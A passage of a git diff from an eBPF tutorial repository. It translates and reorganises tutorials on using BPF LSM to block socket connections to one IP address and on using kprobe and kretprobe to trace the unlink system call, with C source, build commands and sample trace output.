demonstrates its high control precision.) - -## Overview of LSM - -LSM (Linux Security Modules) is a framework in the Linux kernel that supports various computer security models. LSM predefines a set of hook points on critical paths related to Linux kernel security, decoupling the kernel from security modules. This allows different security modules to be loaded/unloaded in the kernel freely without modifying the existing kernel code, thus enabling them to provide security inspection features. - -In the past, using LSM mainly involved configuring existing security modules like SELinux and AppArmor or writing custom kernel modules. However, with the introduction of the BPF LSM mechanism in Linux 5.7, everything changed. Now, developers can write custom security policies using eBPF and dynamically load them into the LSM mount points in the kernel without configuring or writing kernel modules. - -Some of the hook points currently supported by LSM include: - -+ File open, creation, deletion, and movement; -+ Filesystem mounting; -+ Operations on tasks and processes; -+ Operations on sockets (creating, binding sockets, sending and receiving messages, etc.); - -For more hook points, refer to [lsm_hooks.h](https://github.com/torvalds/linux/blob/master/include/linux/lsm_hooks.h). - -## Verifying BPF LSM Availability - -First, please confirm that your kernel version is higher than 5.7. Next, you can use the following command to check if BPF LSM support is enabled: - -```console -$ cat /boot/config-$(uname -r) | grep BPF_LSM -CONFIG_BPF_LSM=y -``` - -If the output contains `CONFIG_BPF_LSM=y`, BPF LSM is supported. Provided that the above conditions are met, you can use the following command to check if the output includes the `bpf` option: - -```console -$ cat /sys/kernel/security/lsm -ndlock,lockdown,yama,integrity,apparmor -``` - -If the output does not include the `bpf` option (as in the example above), you can modify `/etc/default/grub`: - -```conf -GRUB_CMDLINE_LINUX="lsm=ndlock,lockdown,yama,integrity,apparmor,bpf" -``` - -Then, update the grub configuration using the `update-grub2` command (the corresponding command may vary depending on the system), and restart the system. - -## Writing eBPF Programs - -```C -// lsm-connect.bpf.c -#include "vmlinux.h" -#include -#include -#include - -char LICENSE[] SEC("license") = "GPL"; - -#define EPERM 1 -#define AF_INET 2 - -const __u32 blockme = 16843009; // 1.1.1.1 -> int - -SEC("lsm/socket_connect") -int BPF_PROG(restrict_connect, struct socket *sock, struct sockaddr *address, int addrlen, int ret) -{ - // Satisfying "cannot override a denial" rule - if (ret != 0) - { - return ret; - } - - // Only IPv4 in this example - if (address->sa_family != AF_INET) - { - return 0; - } - - // Cast the address to an IPv4 socket address - struct sockaddr_in *addr = (struct sockaddr_in *)address; - - // Where do you want to go? - __u32 dest = addr->sin_addr.s_addr; - bpf_printk("lsm: found connect to %d", dest); - - if (dest == blockme) - { - bpf_printk("lsm: blocking %d", dest); - return -EPERM; - } - return 0; -} -``` - -This is eBPF code implemented in C on the kernel side. It blocks all connection operations through a socket to 1.1.1.1. The following information is included: - -+ The `SEC("lsm/socket_connect")` macro indicates the expected mount point for this program. -+ The program is defined by the `BPF_PROG` macro (see [tools/lib/bpf/bpf_tracing.h](https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/tree/tools/lib/bpf/bpf_tracing.h) for details). -+ `restrict_connect` is the program name required by the `BPF_PROG` macro. -+ `ret` is the return value of the LSM check program (potential) before the current function on this mount point. - -The overall idea of the program is not difficult to understand: - -+ First, if the return value of other security check functions is non-zero (failed), there is no need to check further and the connection is rejected. -+ Next, it determines whether it is an IPv4 connection request and compares the address being connected to with 1.1.1.1. -+ If the requested address is 1.1.1.1, the connection is blocked; otherwise, the connection is allowed. - -During the execution of the program, all connection operations through a socket will be output to `/sys/kernel/debug/tracing/trace_pipe`. - -## Compilation and Execution - -Compile using a container: - -```console -docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest -``` - -Or compile using `ecc`: - -```console -$ ecc lsm-connect.bpf.c -Compiling bpf object... -Packing ebpf object and config into package.json... -``` - -And run using `ecli`: - -```shell -sudo ecli run package.json -``` - -Next, open another terminal and try to access 1.1.1.1: - -```console -$ ping 1.1.1.1 -ping: connect: Operation not permitted -$ curl 1.1.1.1 -curl: (7) Couldn't connect to server -$ wget 1.1.1.1 ---2023-04-23 08:41:18-- (try: 2) http://1.1.1.1/ -Connecting to 1.1.1.1:80... failed: Operation not permitted. -Retrying. -``` - -At the same time, we can view the output of `bpf_printk`: - -```console -$ sudo cat /sys/kernel/debug/tracing/trace_pipe - ping-7054 [000] d...1 6313.430872: bpf_trace_printk: lsm: found connect to 16843009 - ping-7054 [000] d...1 6313.430874: bpf_trace_printk: lsm: blocking 16843009 - curl-7058 [000] d...1 6316.346582: bpf_trace_printk: lsm: found connect to 16843009 - curl-7058 [000] d...1 6316.346584: bpf_trace_printk: lsm: blocking 16843009".``` -wget-7061 [000] d...1 6318.800698: bpf_trace_printk: lsm: found connect to 16843009 -wget-7061 [000] d...1 6318.800700: bpf_trace_printk: lsm: blocking 16843009 -``` - -Complete source code: - -## Summary - -This article introduces how to use BPF LSM to restrict access to a specific IPv4 address through a socket. We can enable the LSM BPF mount point by modifying the GRUB configuration file. In the eBPF program, we define functions using the `BPF_PROG` macro and specify the mount point using the `SEC` macro. In the implementation of the function, we follow the principle of "cannot override a denial" in the LSM security-checking module and restrict the socket connection request based on the destination address of the request. - -If you want to learn more about eBPF knowledge and practices, you can visit our tutorial code repository at or website for more examples and complete tutorials. - -## References - -+ -+ - -> The original link of this article: diff --git a/src/2-kprobe-unlink/.config b/src/2-kprobe-unlink/.config new file mode 100644 index 00000000..2785adf1 --- /dev/null +++ b/src/2-kprobe-unlink/.config @@ -0,0 +1 @@ +level=Basic diff --git a/src/2-kprobe-unlink/README.md b/src/2-kprobe-unlink/README.md index ca835b0b..a994aaf3 100644 --- a/src/2-kprobe-unlink/README.md +++ b/src/2-kprobe-unlink/README.md @@ -1,35 +1,36 @@ -# eBPF 入门开发实践教程二:在 eBPF 中使用 kprobe 监测捕获 unlink 系统调用 +# eBPF Tutorial by Example 2: Monitoring unlink System Calls with kprobe -eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具。它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。 +eBPF (Extended Berkeley Packet Filter) is a powerful network and performance analysis tool on the Linux kernel. It allows developers to dynamically load, update, and run user-defined code at runtime. -本文是 eBPF 入门开发实践教程的第二篇,在 eBPF 中使用 kprobe 捕获 unlink 系统调用。本文会先讲解关于 kprobes 的基本概念和技术背景,然后介绍如何在 eBPF 中使用 kprobe 捕获 unlink 系统调用。 +This article is the second part of the eBPF Tutorial by Example, focusing on using kprobe to capture the unlink system call in eBPF. The article will first explain the basic concepts and technical background of kprobes, and then introduce how to use kprobe to capture the unlink system call in eBPF. -## kprobes 技术背景 +## Background of kprobes Technology -开发人员在内核或者模块的调试过程中,往往会需要要知道其中的一些函数有无被调用、何时被调用、执行是否正确以及函数的入参和返回值是什么等等。比较简单的做法是在内核代码对应的函数中添加日志打印信息,但这种方式往往需要重新编译内核或模块,重新启动设备之类的,操作较为复杂甚至可能会破坏原有的代码执行过程。 +During the debugging process of the kernel or modules, developers often need to know whether certain functions are called, when they are called, whether the execution is correct, and what the input and return values of the functions are. A simple approach is to add log print information to the corresponding functions in the kernel code. However, this approach often requires recompiling the kernel or modules, restarting the device, etc., which is complex and may disrupt the original code execution process. -而利用 kprobes 技术,用户可以定义自己的回调函数,然后在内核或者模块中几乎所有的函数中(有些函数是不可探测的,例如kprobes自身的相关实现函数,后文会有详细说明)动态地插入探测点,当内核执行流程执行到指定的探测函数时,会调用该回调函数,用户即可收集所需的信息了,同时内核最后还会回到原本的正常执行流程。如果用户已经收集足够的信息,不再需要继续探测,则同样可以动态地移除探测点。因此 kprobes 技术具有对内核执行流程影响小和操作方便的优点。 +By using the kprobes technology, users can define their own callback functions and dynamically insert probes into almost all functions in the kernel or modules (some functions cannot be probed, such as the kprobes' own implementation functions, which will be explained in detail later). When the kernel execution flow reaches the specified probe function, it will invoke the callback function, allowing the user to collect the desired information. The kernel will then return to the normal execution flow. If the user has collected sufficient information and no longer needs to continue probing, the probes can be dynamically removed. Therefore, the kprobes technology has the advantages of minimal impact on the kernel execution flow and easy operation. -kprobes 技术包括的3种探测手段分别时 kprobe、jprobe 和 kretprobe。首先 kprobe 是最基本的探测方式,是实现后两种的基础,它可以在任意的位置放置探测点(就连函数内部的某条指令处也可以),它提供了探测点的调用前、调用后和内存访问出错3种回调方式,分别是 `pre_handler`、`post_handler` 和 `fault_handler`,其中 `pre_handler` 函数将在被探测指令被执行前回调,`post_handler` 会在被探测指令执行完毕后回调(注意不是被探测函数),`fault_handler` 会在内存访问出错时被调用;jprobe 基于 kprobe 实现,它用于获取被探测函数的入参值;最后 kretprobe 从名字中就可以看出其用途了,它同样基于 kprobe 实现,用于获取被探测函数的返回值。 +The kprobes technology includes three detection methods: kprobe, jprobe, and kretprobe. First, kprobe is the most basic detection method and serves as the basis for the other two. It allows probes to be placed at any position (including within a function). It provides three callback modes for probes: `pre_handler`, `post_handler`, and `fault_handler`. The `pre_handler` function is called before the probed instruction is executed, the `post_handler` is called after the probed instruction is completed (note that it is not the probed function), and the `fault_handler` is called when a memory access error occurs. The jprobe is based on kprobe and is used to obtain the input values of the probed function. Finally, as the name suggests, kretprobe is also based on kprobe and is used to obtain the return values of the probed function. -kprobes 的技术原理并不仅仅包含纯软件的实现方案,它也需要硬件架构提供支持。其中涉及硬件架构相关的是 CPU 的异常处理和单步调试技术,前者用于让程序的执行流程陷入到用户注册的回调函数中去,而后者则用于单步执行被探测点指令,因此并不是所有的架构均支持 kprobes。目前 kprobes 技术已经支持多种架构,包括 i386、x86_64、ppc64、ia64、sparc64、arm、ppc 和 mips(有些架构实现可能并不完全,具体可参考内核的 Documentation/kprobes.txt)。 +The kprobes technology is not only implemented through software but also requires support from the hardware architecture. This involves CPU exception handling and single-step debugging techniques. The former is used to make the program's execution flow enter the user-registered callback function, and the latter is used to single-step execute the probed instruction. Therefore, not all architectures support kprobes. Currently, kprobes technology supports various architectures, including i386, x86_64, ppc64, ia64, sparc64, arm, ppc, and mips (note that some architecture implementations may not be complete, see the kernel's Documentation/kprobes.txt for details). -kprobes 的特点与使用限制: +Features and Usage Restrictions of kprobes: -1. kprobes 允许在同一个被探测位置注册多个 kprobe,但是目前 jprobe 却不可以;同时也不允许以其他的 jprobe 回调函数和 kprobe 的 `post_handler` 回调函数作为被探测点。 -2. 一般情况下,可以探测内核中的任何函数,包括中断处理函数。不过在 kernel/kprobes.c 和 arch/*/kernel/kprobes.c 程序中用于实现 kprobes 自身的函数是不允许被探测的,另外还有`do_page_fault` 和 `notifier_call_chain`; -3. 如果以一个内联函数为探测点,则 kprobes 可能无法保证对该函数的所有实例都注册探测点。由于 gcc 可能会自动将某些函数优化为内联函数,因此可能无法达到用户预期的探测效果; -4. 一个探测点的回调函数可能会修改被探测函数的运行上下文,例如通过修改内核的数据结构或者保存与`struct pt_regs`结构体中的触发探测器之前寄存器信息。因此 kprobes 可以被用来安装 bug 修复代码或者注入故障测试代码; -5. kprobes 会避免在处理探测点函数时再次调用另一个探测点的回调函数,例如在`printk()`函数上注册了探测点,而在它的回调函数中可能会再次调用`printk`函数,此时将不再触发`printk`探测点的回调,仅仅是增加了`kprobe`结构体中`nmissed`字段的数值; -6. 在 kprobes 的注册和注销过程中不会使用 mutex 锁和动态的申请内存; -7. kprobes 回调函数的运行期间是关闭内核抢占的,同时也可能在关闭中断的情况下执行,具体要视CPU架构而定。因此不论在何种情况下,在回调函数中不要调用会放弃 CPU 的函数(如信号量、mutex 锁等); -8. kretprobe 通过替换返回地址为预定义的 trampoline 的地址来实现,因此栈回溯和 gcc 内嵌函数`__builtin_return_address()`调用将返回 trampoline 的地址而不是真正的被探测函数的返回地址; -9. 如果一个函数的调用次数和返回次数不相等,则在类似这样的函数上注册 kretprobe 将可能不会达到预期的效果,例如`do_exit()`函数会存在问题,而`do_execve()`函数和`do_fork()`函数不会; -10. 当在进入和退出一个函数时,如果 CPU 运行在非当前任务所有的栈上,那么往该函数上注册 kretprobe 可能会导致不可预料的后果,因此,kprobes 不支持在 X86_64 的结构下为`__switch_to()`函数注册 kretprobe,将直接返回`-EINVAL`。 +1. kprobes allows multiple kprobes to be registered at the same probe position, but jprobe currently does not support this. It is also not allowed to use other jprobe callback functions or the `post_handler` callback function of kprobe as probe points. +2. In general, any function in the kernel can be probed, including interrupt handlers. However, the functions used to implement kprobes themselves in kernel/kprobes.c and arch/*/kernel/kprobes.c are not allowed to be probed. Additionally, `do_page_fault` and `notifier_call_chain` are also not allowed. +3. If an inline function is used as a probe point, kprobes may not be able to guarantee that probe points are registered for all instances of that function. Since gcc may automatically optimize certain functions as inline functions, the desired probing effect may not be achieved. +4. The callback function of a probe point may modify the runtime context of the probed function, such as by modifying the kernel's data structure or saving register information before triggering the prober in the `struct pt_regs` structure. Therefore, kprobes can be used to install bug fixes or inject fault testing code. +5. kprobes avoids calling the callback function of another probe point again when processing the probe point function. For example, if a probe point is registered on the `printk()` function and the callback function may call `printk()` again, the callback for the `printk` probe point will not be triggered again. Only the `nmissed` field in the `kprobe` structure will be incremented. +6. mutex locks and dynamic memory allocation are not used in the registration and removal process of kprobes. -## kprobe 示例 +7. During the execution of kprobes callback functions, kernel preemption is disabled, and it may also be executed with interrupts disabled, which depends on the CPU architecture. Therefore, regardless of the situation, do not call functions that will give up the CPU in the callback function (such as semaphore, mutex lock, etc.); +8. kretprobe is implemented by replacing the return address with the pre-defined trampoline address, so stack backtraces and gcc inline function `__builtin_return_address()` will return the address of the trampoline instead of the actual return address of the probed function; +9. If the number of function calls and return calls of a function are unequal, registering kretprobe on such a function may not achieve the expected effect, for example, the `do_exit()` function will have problems, while the `do_execve()` function and `do_fork()` function will not; +10. When entering and exiting a function, if the CPU is running on a stack that does not belong to the current task, registering kretprobe on that function may have unpredictable consequences. Therefore, kprobes does not support registering kretprobe for the `__switch_to()` function under the X86_64 architecture and will directly return `-EINVAL`. -完整代码如下: +## kprobe Example + +The complete code is as follows: ```c #include "vmlinux.h" @@ -62,9 +63,9 @@ int BPF_KRETPROBE(do_unlinkat_exit, long ret) } ``` -这段代码是一个简单的 eBPF 程序,用于监测和捕获在 Linux 内核中执行的 unlink 系统调用。unlink 系统调用的功能是删除一个文件,这个 eBPF 程序通过使用 kprobe(内核探针)在`do_unlinkat`函数的入口和退出处放置钩子,实现对该系统调用的跟踪。 +This code is a simple eBPF program used to monitor and capture the unlink system call executed in the Linux kernel. The unlink system call is used to delete a file. This eBPF program traces this system call by placing hooks at the entry and exit points of the `do_unlinkat` function using a kprobe (kernel probe). -首先,我们导入必要的头文件,如 vmlinux.h,bpf_helpers.h,bpf_tracing.h 和 bpf_core_read.h。接着,我们定义许可证,以允许程序在内核中运行。 +First, we import necessary header files such as vmlinux.h, bpf_helpers.h, bpf_tracing.h, and bpf_core_read.h. Then, we define a license to allow the program to run in the kernel. ```c #include "vmlinux.h" @@ -75,7 +76,7 @@ int BPF_KRETPROBE(do_unlinkat_exit, long ret) char LICENSE[] SEC("license") = "Dual BSD/GPL"; ``` -接下来,我们定义一个名为`BPF_KPROBE(do_unlinkat)`的 kprobe,当进入`do_unlinkat`函数时,它会被触发。该函数接受两个参数:`dfd`(文件描述符)和`name`(文件名结构体指针)。在这个 kprobe 中,我们获取当前进程的 PID(进程标识符),然后读取文件名。最后,我们使用`bpf_printk`函数在内核日志中打印 PID 和文件名。 +The first kprobe hooks into the entry point of `do_unlinkat`. The `BPF_KPROBE` macro makes it easy to access the function's parameters - in this case `dfd` (file descriptor) and `name` (a pointer to the filename structure). We grab the current process ID and then use `BPF_CORE_READ` to safely read the filename from kernel memory. ```c SEC("kprobe/do_unlinkat") @@ -91,7 +92,9 @@ int BPF_KPROBE(do_unlinkat, int dfd, struct filename *name) } ``` -接下来,我们定义一个名为`BPF_KRETPROBE(do_unlinkat_exit)`的 kretprobe,当从`do_unlinkat`函数退出时,它会被触发。这个 kretprobe 的目的是捕获函数的返回值(ret)。我们再次获取当前进程的 PID,并使用`bpf_printk`函数在内核日志中打印 PID 和返回值。 +You might wonder why we can't just access `name->name` directly. The answer is that eBPF programs run in a restricted environment and need special helpers to safely read kernel memory. `BPF_CORE_READ` handles this safely and also provides CO-RE (Compile Once - Run Everywhere) support, meaning your program will work across different kernel versions even if the structure layout changes. + +The kretprobe is the counterpart that triggers when the function returns. Here we can capture the return value to see if the unlink operation succeeded or failed. A return value of 0 means success, while negative values indicate errors. ```c SEC("kretprobe/do_unlinkat") @@ -105,9 +108,11 @@ int BPF_KRETPROBE(do_unlinkat_exit, long ret) } ``` -eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链,它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 下载和安装 ecc 编译工具链和 ecli 运行时。 +By combining kprobe and kretprobe, you get the complete picture - you can see what file is being deleted and whether the operation succeeded. This pattern is useful for debugging, security monitoring, or building observability tools. + +We use eunomia-bpf to compile and run this example. You can install it from . -要编译这个程序,请使用 ecc 工具: +To compile this program, use the ecc tool: ```console $ ecc kprobe-link.bpf.c @@ -115,13 +120,13 @@ Compiling bpf object... Packing ebpf object and config into package.json... ``` -然后运行: +Then run: ```console sudo ecli run package.json ``` -在另外一个窗口中: +In another window: ```shell touch test1 @@ -130,7 +135,7 @@ touch test2 rm test2 ``` -在 /sys/kernel/debug/tracing/trace_pipe 文件中,应该能看到类似下面的 kprobe 演示输出: +You should see kprobe demo output similar to the following in the /sys/kernel/debug/tracing/trace_pipe file: ```shell $ sudo cat /sys/kernel/debug/tracing/trace_pipe @@ -140,10 +145,10 @@ $ sudo cat /sys/kernel/debug/tracing/trace_pipe rm-9346 [005] d..4 4710.951895: bpf_trace_printk: KPROBE EXIT: ret = 0 ``` -## 总结 +## Summary -通过本文的示例,我们学习了如何使用 eBPF 的 kprobe 和 kretprobe 捕获 unlink 系统调用。更多的例子和详细的开发指南,请参考 eunomia-bpf 的官方文档: +In this article's example, we learned how to use eBPF's kprobe and kretprobe to capture the unlink system call. -本文是 eBPF 入门开发实践教程的第二篇。下一篇文章将介绍如何在 eBPF 中使用 fentry 监测捕获 unlink 系统调用。 +This article is the second part of the introductory eBPF development tutorial. The next article will explain how to use fentry to monitor and capture the unlink system call in eBPF. -如果您希望学习更多关于 eBPF 的知识和实践,可以访问我们的教程代码仓库 或网站 以获取更多示例和完整的教程。 +If you'd like to learn more about eBPF knowledge and practices, you can visit our tutorial code repository at or website for more examples and complete tutorials. diff --git a/src/2-kprobe-unlink/README.zh.md b/src/2-kprobe-unlink/README.zh.md new file mode 100644 index 00000000..435f7eac --- /dev/null +++ b/src/2-kprobe-unlink/README.zh.md @@ -0,0 +1,153 @@ +# eBPF 入门开发实践教程二:在 eBPF 中使用 kprobe 监测捕获 unlink 系统调用 + +eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具。它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。 + +本文是 eBPF 入门开发实践教程的第二篇,在 eBPF 中使用 kprobe 捕获 unlink 系统调用。本文会先讲解关于 kprobes 的基本概念和技术背景,然后介绍如何在 eBPF 中使用 kprobe 捕获 unlink 系统调用。 + +## kprobes 技术背景 + +开发人员在内核或者模块的调试过程中,往往会需要要知道其中的一些函数有无被调用、何时被调用、执行是否正确以及函数的入参和返回值是什么等等。比较简单的做法是在内核代码对应的函数中添加日志打印信息,但这种方式往往需要重新编译内核或模块,重新启动设备之类的,操作较为复杂甚至可能会破坏原有的代码执行过程。 + +而利用 kprobes 技术,用户可以定义自己的回调函数,然后在内核或者模块中几乎所有的函数中(有些函数是不可探测的,例如kprobes自身的相关实现函数,后文会有详细说明)动态地插入探测点,当内核执行流程执行到指定的探测函数时,会调用该回调函数,用户即可收集所需的信息了,同时内核最后还会回到原本的正常执行流程。如果用户已经收集足够的信息,不再需要继续探测,则同样可以动态地移除探测点。因此 kprobes 技术具有对内核执行流程影响小和操作方便的优点。 + +kprobes 技术包括的3种探测手段分别时 kprobe、jprobe 和 kretprobe。首先 kprobe 是最基本的探测方式,是实现后两种的基础,它可以在任意的位置放置探测点(就连函数内部的某条指令处也可以),它提供了探测点的调用前、调用后和内存访问出错3种回调方式,分别是 `pre_handler`、`post_handler` 和 `fault_handler`,其中 `pre_handler` 函数将在被探测指令被执行前回调,`post_handler` 会在被探测指令执行完毕后回调(注意不是被探测函数),`fault_handler` 会在内存访问出错时被调用;jprobe 基于 kprobe 实现,它用于获取被探测函数的入参值;最后 kretprobe 从名字中就可以看出其用途了,它同样基于 kprobe 实现,用于获取被探测函数的返回值。 + +kprobes 的技术原理并不仅仅包含纯软件的实现方案,它也需要硬件架构提供支持。其中涉及硬件架构相关的是 CPU 的异常处理和单步调试技术,前者用于让程序的执行流程陷入到用户注册的回调函数中去,而后者则用于单步执行被探测点指令,因此并不是所有的架构均支持 kprobes。目前 kprobes 技术已经支持多种架构,包括 i386、x86_64、ppc64、ia64、sparc64、arm、ppc 和 mips(有些架构实现可能并不完全,具体可参考内核的 Documentation/kprobes.txt)。 + +kprobes 的特点与使用限制: + +1. kprobes 允许在同一个被探测位置注册多个 kprobe,但是目前 jprobe 却不可以;同时也不允许以其他的 jprobe 回调函数和 kprobe 的 `post_handler` 回调函数作为被探测点。 +2. 一般情况下,可以探测内核中的任何函数,包括中断处理函数。不过在 kernel/kprobes.c 和 arch/*/kernel/kprobes.c 程序中用于实现 kprobes 自身的函数是不允许被探测的,另外还有`do_page_fault` 和 `notifier_call_chain`; +3. 如果以一个内联函数为探测点,则 kprobes 可能无法保证对该函数的所有实例都注册探测点。由于 gcc 可能会自动将某些函数优化为内联函数,因此可能无法达到用户预期的探测效果; +4. 一个探测点的回调函数可能会修改被探测函数的运行上下文,例如通过修改内核的数据结构或者保存与`struct pt_regs`结构体中的触发探测器之前寄存器信息。因此 kprobes 可以被用来安装 bug 修复代码或者注入故障测试代码; +5. kprobes 会避免在处理探测点函数时再次调用另一个探测点的回调函数,例如在`printk()`函数上注册了探测点,而在它的回调函数中可能会再次调用`printk`函数,此时将不再触发`printk`探测点的回调,仅仅是增加了`kprobe`结构体中`nmissed`字段的数值; +6. 在 kprobes 的注册和注销过程中不会使用 mutex 锁和动态的申请内存; +7. kprobes 回调函数的运行期间是关闭内核抢占的,同时也可能在关闭中断的情况下执行,具体要视CPU架构而定。因此不论在何种情况下,在回调函数中不要调用会放弃 CPU 的函数(如信号量、mutex 锁等); +8. kretprobe 通过替换返回地址为预定义的 trampoline 的地址来实现,因此栈回溯和 gcc 内嵌函数`__builtin_return_address()`调用将返回 trampoline 的地址而不是真正的被探测函数的返回地址; +9. 如果一个函数的调用次数和返回次数不相等,则在类似这样的函数上注册 kretprobe 将可能不会达到预期的效果,例如`do_exit()`函数会存在问题,而`do_execve()`函数和`do_fork()`函数不会; +10. 当在进入和退出一个函数时,如果 CPU 运行在非当前任务所有的栈上,那么往该函数上注册 kretprobe 可能会导致不可预料的后果,因此,kprobes 不支持在 X86_64 的结构下为`__switch_to()`函数注册 kretprobe,将直接返回`-EINVAL`。 + +## kprobe 示例 + +完整代码如下: + +```c +#include "vmlinux.h" +#include +#include +#include + +char LICENSE[] SEC("license") = "Dual BSD/GPL"; + +SEC("kprobe/do_unlinkat") +int BPF_KPROBE(do_unlinkat, int dfd, struct filename *name) +{ + pid_t pid; + const char *filename; + + pid = bpf_get_current_pid_tgid() >> 32; + filename = BPF_CORE_READ(name, name); + bpf_printk("KPROBE ENTRY pid = %d, filename = %s\n", pid, filename); + return 0; +} + +SEC("kretprobe/do_unlinkat") +int BPF_KRETPROBE(do_unlinkat_exit, long ret) +{ + pid_t pid; + + pid = bpf_get_current_pid_tgid() >> 32; + bpf_printk("KPROBE EXIT: pid = %d, ret = %ld\n", pid, ret); + return 0; +} +``` + +这段代码是一个简单的 eBPF 程序,用于监测和捕获在 Linux 内核中执行的 unlink 系统调用。unlink 系统调用的功能是删除一个文件,这个 eBPF 程序通过使用 kprobe(内核探针)在`do_unlinkat`函数的入口和退出处放置钩子,实现对该系统调用的跟踪。 + +首先,我们导入必要的头文件,如 vmlinux.h,bpf_helpers.h,bpf_tracing.h 和 bpf_core_read.h。接着,我们定义许可证,以允许程序在内核中运行。 + +```c +#include "vmlinux.h" +#include +#include +#include + +char LICENSE[] SEC("license") = "Dual BSD/GPL"; +``` + +第一个 kprobe 挂钩到 `do_unlinkat` 的入口点。`BPF_KPROBE` 宏让我们可以轻松访问函数的参数——在这个例子中是 `dfd`(文件描述符)和 `name`(指向文件名结构的指针)。我们获取当前进程 ID,然后使用 `BPF_CORE_READ` 从内核内存中安全地读取文件名。 + +```c +SEC("kprobe/do_unlinkat") +int BPF_KPROBE(do_unlinkat, int dfd, struct filename *name) +{ + pid_t pid; + const char *filename; + + pid = bpf_get_current_pid_tgid() >> 32; + filename = BPF_CORE_READ(name, name); + bpf_printk("KPROBE ENTRY pid = %d, filename = %s\n", pid, filename); + return 0; +} +``` + +你可能想知道为什么不能直接访问 `name->name`。原因是 eBPF 程序运行在受限环境中,需要特殊的辅助函数来安全地读取内核内存。`BPF_CORE_READ` 不仅安全地处理这个问题,还提供了 CO-RE(一次编译 - 到处运行)支持,这意味着你的程序可以在不同的内核版本上工作,即使结构体布局发生了变化。 + +kretprobe 是对应的部分,在函数返回时触发。这里我们可以捕获返回值来查看 unlink 操作是否成功。返回值为 0 表示成功,负值表示错误。 + +```c +SEC("kretprobe/do_unlinkat") +int BPF_KRETPROBE(do_unlinkat_exit, long ret) +{ + pid_t pid; + + pid = bpf_get_current_pid_tgid() >> 32; + bpf_printk("KPROBE EXIT: pid = %d, ret = %ld\n", pid, ret); + return 0; +} +``` + +通过结合 kprobe 和 kretprobe,你可以获得完整的画面:可以看到正在删除什么文件以及操作是否成功。这种模式对于调试、安全监控或构建可观测性工具非常有用。 + +我们使用 eunomia-bpf 来编译和运行这个示例。你可以从 安装它。 + +要编译这个程序,请使用 ecc 工具: + +```console +$ ecc kprobe-link.bpf.c +Compiling bpf object... +Packing ebpf object and config into package.json... +``` + +然后运行: + +```console +sudo ecli run package.json +``` + +在另外一个窗口中: + +```shell +touch test1 +rm test1 +touch test2 +rm test2 +``` + +在 /sys/kernel/debug/tracing/trace_pipe 文件中,应该能看到类似下面的 kprobe 演示输出: + +```shell +$ sudo cat /sys/kernel/debug/tracing/trace_pipe + rm-9346 [005] d..3 4710.951696: bpf_trace_printk: KPROBE ENTRY pid = 9346, filename = test1 + rm-9346 [005] d..4 4710.951819: bpf_trace_printk: KPROBE EXIT: ret = 0 + rm-9346 [005] d..3 4710.951852: bpf_trace_printk: KPROBE ENTRY pid = 9346, filename = test2 + rm-9346 [005] d..4 4710.951895: bpf_trace_printk: KPROBE EXIT: ret = 0 +``` + +## 总结 + +通过本文的示例,我们学习了如何使用 eBPF 的 kprobe 和 kretprobe 捕获 unlink 系统调用。 + +本文是 eBPF 入门开发实践教程的第二篇。下一篇文章将介绍如何在 eBPF 中使用 fentry 监测捕获 unlink 系统调用。 + +如果您希望学习更多关于 eBPF 的知识和实践,可以访问我们的教程代码仓库 或网站 以获取更多示例和完整的教程。 diff --git a/src/2-kprobe-unlink/README_en.md b/src/2-kprobe-unlink/README_en.md deleted file mode 100644 index 139aa5c3..00000000 --- a/src/2-kprobe-unlink/README_en.md +++ /dev/null @@ -1,150 +0,0 @@ -# eBPF Tutorial by Example 2: Monitoring unlink System Calls with kprobe - -eBPF (Extended Berkeley Packet Filter) is a powerful network and performance analysis tool on the Linux kernel. It allows developers to dynamically load, update, and run user-defined code at runtime. - -This article is the second part of the eBPF Tutorial by Example, focusing on using kprobe to capture the unlink system call in eBPF. The article will first explain the basic concepts and technical background of kprobes, and then introduce how to use kprobe to capture the unlink system call in eBPF. - -## Background of kprobes Technology - -During the debugging process of the kernel or modules, developers often need to know whether certain functions are called, when they are called, whether the execution is correct, and what the input and return values of the functions are. A simple approach is to add log print information to the corresponding functions in the kernel code. However, this approach often requires recompiling the kernel or modules, restarting the device, etc., which is complex and may disrupt the original code execution process. - -By using the kprobes technology, users can define their own callback functions and dynamically insert probes into almost all functions in the kernel or modules (some functions cannot be probed, such as the kprobes' own implementation functions, which will be explained in detail later). When the kernel execution flow reaches the specified probe function, it will invoke the callback function, allowing the user to collect the desired information. The kernel will then return to the normal execution flow. If the user has collected sufficient information and no longer needs to continue probing, the probes can be dynamically removed. Therefore, the kprobes technology has the advantages of minimal impact on the kernel execution flow and easy operation. - -The kprobes technology includes three detection methods: kprobe, jprobe, and kretprobe. First, kprobe is the most basic detection method and serves as the basis for the other two. It allows probes to be placed at any position (including within a function). It provides three callback modes for probes: `pre_handler`, `post_handler`, and `fault_handler`. The `pre_handler` function is called before the probed instruction is executed, the `post_handler` is called after the probed instruction is completed (note that it is not the probed function), and the `fault_handler` is called when a memory access error occurs. The jprobe is based on kprobe and is used to obtain the input values of the probed function. Finally, as the name suggests, kretprobe is also based on kprobe and is used to obtain the return values of the probed function. - -The kprobes technology is not only implemented through software but also requires support from the hardware architecture. This involves CPU exception handling and single-step debugging techniques. The former is used to make the program's execution flow enter the user-registered callback function, and the latter is used to single-step execute the probed instruction. Therefore, not all architectures support kprobes. Currently, kprobes technology supports various architectures, including i386, x86_64, ppc64, ia64, sparc64, arm, ppc, and mips (note that some architecture implementations may not be complete, see the kernel's Documentation/kprobes.txt for details). - -Features and Usage Restrictions of kprobes: - -1. kprobes allows multiple kprobes to be registered at the same probe position, but jprobe currently does not support this. It is also not allowed to use other jprobe callback functions or the `post_handler` callback function of kprobe as probe points. -2. In general, any function in the kernel can be probed, including interrupt handlers. However, the functions used to implement kprobes themselves in kernel/kprobes.c and arch/*/kernel/kprobes.c are not allowed to be probed. Additionally, `do_page_fault` and `notifier_call_chain` are also not allowed. -3. If an inline function is used as a probe point, kprobes may not be able to guarantee that probe points are registered for all instances of that function. Since gcc may automatically optimize certain functions as inline functions, the desired probing effect may not be achieved. -4. The callback function of a probe point may modify the runtime context of the probed function, such as by modifying the kernel's data structure or saving register information before triggering the prober in the `struct 